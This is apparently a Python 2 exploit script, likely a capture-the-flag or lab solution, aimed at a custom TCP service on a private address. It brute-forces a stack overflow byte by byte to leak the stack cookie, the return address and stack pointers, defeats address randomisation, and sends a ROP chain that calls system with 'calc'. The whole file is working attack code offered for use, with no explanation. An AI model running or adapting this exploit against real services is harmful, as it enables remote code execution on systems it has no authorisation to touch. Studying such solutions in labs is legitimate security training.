import socket
import struct


def get_leak(size_packete,cookie,flag):


    leak=""

    size_ori=256
    for i in range(8):

        fruta1 = "Hello" + "\x00"

        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((TCP_IP, TCP_PORT))
        s.send(fruta1)

        resp = s.recv(10)
        print "%r"%resp

        size = struct.pack("<h", size_packete)
        fruta2 = size + "\x66\x44"
        s.send(fruta2)

        # GET_leak
        if flag==0:
            fruta3= (size_ori * "A") + leak
        if flag==1:
            fruta3 = (size_ori * "A") + cookie + (16* "B") +leak
        if flag==2:
            fruta3 = (size_ori * "A") + cookie + (16* "B") + struct.pack("<q",ret_leaked)  +leak
        if flag==3:
            fruta3 = (size_ori * "A") + cookie + (16* "B") + struct.pack("<q",ret_leaked)  +struct.pack("<q",socket_leaked)+ (8 *"D")+ leak

        print "%r"%fruta3

        s.send(fruta3)
        a=s.recv(1024)

        print "retorno %r"%a

        leak+=a[-1:]
        print "%r"%leak

        size_packete+=1

    leak_val=struct.unpack("<q",leak)[0]
    return leak_val


TCP_IP = '10.80.17.199'
TCP_PORT = 55555


cookie_leaked =get_leak(256,"",0)
print "COOKIE COMPLETA 0x%x" % cookie_leaked

cookie_str=struct.pack("<q",cookie_leaked)

ret_leaked=get_leak(280,cookie_str,1)
print "RETURN ADDRESS 0x%x" % ret_leaked


socket_leaked=get_leak(288,cookie_str,2)
print "SOCKET_LEAKED 0x%x" % socket_leaked

stack_leaked=get_leak(304,cookie_str,3)
print "STACK_LEAKED 0x%x" % stack_leaked


#--------------------------------------------------------

#EXPLOITATION


stack_in_cookie_check=stack_leaked + 616
print "STACK_IN_COOKIE_CHECK = 0x%x" % stack_in_cookie_check

image_base_bfs=ret_leaked- 0x16f0
print "IMAGE_BASE_BFS = 0x%x" % image_base_bfs

exit_1=image_base_bfs+ 0x2e38
print "EXIT = 0x%x" % exit_1

p_system=image_base_bfs+0x11800
print "PUNTERO_SYSTEM = 0x%x" % p_system

p_writable=image_base_bfs+0x11eb6
print "WRITABLE_ADDRESS = 0x%x" % p_writable

pop_rbx_ret=image_base_bfs+0x1a03
print "POP RBX_RET = 0x%x" % pop_rbx_ret

pop_rax_ret=image_base_bfs+ 0x11ab
print "POP RAX_RET = 0x%x" % pop_rax_ret

ret_1=pop_rbx_ret+ 0x1
print "RET = 0x%x" % ret_1

mov_rcx_rbx=image_base_bfs+ 0x318b
print "MOV_RCX_RBX_CALL RAX = 0x%x" % mov_rcx_rbx

mov_to_rcx=image_base_bfs+ 0x19fd
print "MOV_[RCX],RAX = 0x%x" % mov_to_rcx

call_system=image_base_bfs+ 0x139d
print "CALL TO SYSTEM = 0x%x" % call_system

mov_eax=image_base_bfs+ 0x2ebb
print "MOV_EAX = 0x%x" % mov_eax

pop_rsi=image_base_bfs+ 0xb1c1
print "POP RSI = 0x%x" % pop_rsi

pop_rsi=image_base_bfs+ 0xb1c1
print "POP RSI = 0x%x" % pop_rsi

mov_rax_rsi=image_base_bfs+ 0x9db3
print "MOV RAX_RSI = 0x%x" % mov_rax_rsi

to_call=image_base_bfs+0x1388
print "TO CALL = 0x%x" % to_call

cookie_data=image_base_bfs+ 0x11cd8
print "COOKIE_DATA = 0x%x" % cookie_data

smash_cookie=image_base_bfs+0xbf0e
print "SMASH_COOKIE = 0x%x" % smash_cookie

mov_rax_r11=image_base_bfs+0x92f8
print "MOV RAX, r11 = 0x%x" % mov_rax_r11


fruta1 = "Hello" + "\x00"

ret=struct.pack("<q",ret_1)  #return_address_smashed to pop ebx-ret

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))
s.send(fruta1)

resp = s.recv(10)

rop=struct.pack("<q",pop_rax_ret)
rop+=struct.pack("<q",pop_rax_ret)
rop+=struct.pack("<q",pop_rbx_ret)
rop+=struct.pack("<q",cookie_data)
rop+=struct.pack("<q",mov_rcx_rbx)
rop+=struct.pack("<q",pop_rax_ret)
rop+=struct.pack("<q",stack_in_cookie_check)


rop+=struct.pack("<q",smash_cookie)

rop+=struct.pack("<q",ret_1)*5

rop+=struct.pack("<q",pop_rax_ret)
rop+=struct.pack("<q",0x100)
rop+=struct.pack("<q",to_call)
rop+=struct.pack("<q",0x636c6163)*20
rop+=struct.pack("<q",0x0)*21
rop+=struct.pack("<q",0x100)*2
rop+=struct.pack("<q",exit_1)



fruta3 = "calc\x00"+(251 * "A") + cookie_str + (16 * "B") + ret+ rop

size_packete=len(fruta3)

size = struct.pack("<h", size_packete)
fruta2 = size + "\x66\x44"
s.send(fruta2)


s.send(fruta3)
a = s.recv(1024)